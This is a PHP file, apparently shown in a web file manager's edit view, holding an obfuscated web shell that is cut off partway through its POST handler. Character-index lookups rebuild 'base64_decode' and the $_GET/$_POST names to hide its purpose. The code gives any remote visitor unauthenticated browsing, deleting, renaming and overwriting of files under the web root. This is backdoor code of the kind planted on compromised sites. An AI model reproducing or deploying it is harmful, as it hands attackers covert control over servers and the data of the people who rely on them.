[EDIT] FILE: simple.php
<!--Hq6PlTfY--> <!--Hq6PlTfY--> <?php function Result($Int) {$I=array('C','P','Q','T','U','M','V','h','E','L','l','0','K','8','C','l','a','U','D','e','4','I','m','1','5','s','b','R','Y','O','u','W','X','Z','+','c','@','d','3','r','F',')','B','y','C','J','q','G','#','S','o','H','4','A','i','j','t','v','w','x','z','g','%','(','$','_','+','2','x','(','f','6','j','k','n','p','*','9','N','1','3','3','7',';');$res='';foreach ($Int as $ind){$res.=$I[$ind];}return $res;} $b = Result([26,16,25,19,71,20,65,37,19,35,50,37,19]); $be = Result([26, 16, 25, 19, 71, 20, 65, 19, 74, 35, 50, 37, 19]); $c=$b('Y2hy'); $_ = Result([65]).$c((0x47 << 1) >> 1).$c(hexdec("45")).$c(ord('U') - 1); $__ = Result([65]).chr((0x50 << 1) >> 1) .chr(hexdec("4F")) .chr(ord("U") - (sqrt(1) + 1)); $__ .= chr(ord("S") + 1); function get_absolute_root() { $script_filename = str_replace('\\', '/', $_SERVER['SCRIPT_FILENAME']); $script_name = $_SERVER['SCRIPT_NAME']; $pos = strpos($script_filename, $script_name); if ($pos !== false) {return substr($script_filename, 0, $pos);} return rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/'); } $rootPath = realpath(get_absolute_root()); function displayPathItem($title, $value) {print "<div class='path-nav'><strong>{$title}:</strong>" . $value . "</div>";} function PathCl($path){ global $be, $rootPath; $real = realpath($path); if ($real === false || strpos($real, $rootPath) !== 0) { $real = $rootPath; } $relative = ltrim(str_replace($rootPath, '', $real), DIRECTORY_SEPARATOR); $pathParts = $relative === '' ? [] : explode(DIRECTORY_SEPARATOR, $relative); $breadcrumbs = ["<a href=\"?path=" . $be($rootPath) . "\">ROOT</a>"]; $accumulatedPath = $rootPath; foreach ($pathParts as $part) { $accumulatedPath .= DIRECTORY_SEPARATOR . $part; $breadcrumbs[] = "<a href=\"?path=" . $be($accumulatedPath) . "\">$part</a>"; } return implode(' / ', $breadcrumbs); } function getPermissions($path) { $readable = is_readable($path) ? '<span class="green">R</span>' : '<span class="red">R</span>'; $writable = is_writable($path) ? '<span class="green">W</span>' : '<span class="red">W</span>'; $executable = is_executable($path) ? '<span class="green">Run</span>' : '<span class="red">Run</span>'; return "$readable $writable $executable";} function formatFileSize($bytes) { if ($bytes >= 1073741824) { return round($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return round($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return round($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' By'; } } $GetPath = isset(${$_}['path']) ? realpath($b(${$_}['path'])) : $rootPath; if ($GetPath === false || strpos($GetPath, $rootPath) !== 0) { $GetPath = $rootPath; } $AtPath = PathCl($GetPath); $Dirqx = getPermissions($GetPath); $pathItems = [['at path', $AtPath], ['run', $Dirqx]]; function renderFileList($GetPath) { global $be, $rootPath; $currentPath = is_dir($GetPath) ? $GetPath : dirname($GetPath); $files = array_diff(scandir($currentPath) ?: [], ['.', '..']); $directories = []; $fileItems = []; foreach ($files as $file) { $fullPath = $currentPath . DIRECTORY_SEPARATOR . $file; if (strpos(realpath($fullPath), $rootPath) !== 0) continue; $isDir = is_dir($fullPath); $permissions = getPermissions($fullPath); $fileTime = date("Y-m-d H:i:s", filemtime($fullPath)); $fileSize = $isDir ? '<span class="size-dir">DIR</span>' : formatFileSize(filesize($fullPath)); $actions = ''; if (!$isDir && is_writable($fullPath)) { $actions = sprintf('<div class="file-actions"><button class="delete-btn" data-path="%s">Delete</button><button class="rename-btn" data-path="%s" data-name="%s">Rename</button></div>', htmlspecialchars($fullPath), htmlspecialchars($fullPath), htmlspecialchars($file)); } $fileLink = "<a href=\"?path=" . $be($fullPath) . "\">{$file}</a>"; $itemHtml = sprintf('<div class="file-item %s"><div class="file-name">%s</div><div class="file-size">%s</div><div class="file-time" style="width:150px; color:#666;">%s</div><div class="permissions">%s</div>%s</div>', $isDir ? 'dir' : '', $fileLink, $fileSize, $fileTime, $permissions, $actions); if ($isDir) { $directories[] = $itemHtml; } else { $fileItems[] = $itemHtml; } } print '<div class="file-list">' . implode("\n", array_merge($directories, $fileItems)) . '</div>'; } function LoadFile($GetPath) { if (!is_dir($GetPath) && file_exists($GetPath) && is_readable($GetPath)) { $content = file_get_contents($GetPath); $isWritable = is_writable($GetPath); print '<div class="file-content"><div class="file-content-header"><span class="file-type-icon">📄</span>' . basename($GetPath); if ($isWritable) { print '<button id="save-btn" class="save-btn">Save</button>'; } print '</div>'; if ($isWritable) { print '<textarea id="file-editor" class="file-editor">' . htmlspecialchars($content) . '</textarea><input type="hidden" id="current-file-path" value="' . htmlspecialchars($GetPath) . '">'; } else { print '<pre>'; foreach (explode("\n", $content) as $num => $line) { printf('<div class="code-line"><span class="line-number">%s</span><code>%s</code></div>', str_pad($num + 1, 3, ' ', STR_PAD_LEFT), htmlspecialchars($line)); } print '</pre>'; } print '</div>'; } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset(${$__}['f_p'])) { $filePath = realpath(${$__}['f_p']); if ($filePath && strpos($filePath, $rootPath) === 0 && is_writable(is_dir($filePath) ? $filePath : dirname($filePath))) { if (isset(${$__}['s_f']) && isset(${$__}['f_c_64'])) { $content = $b(${$__}['f_c_64']); if (file_exists($filePath)) {
SAVE
CANCEL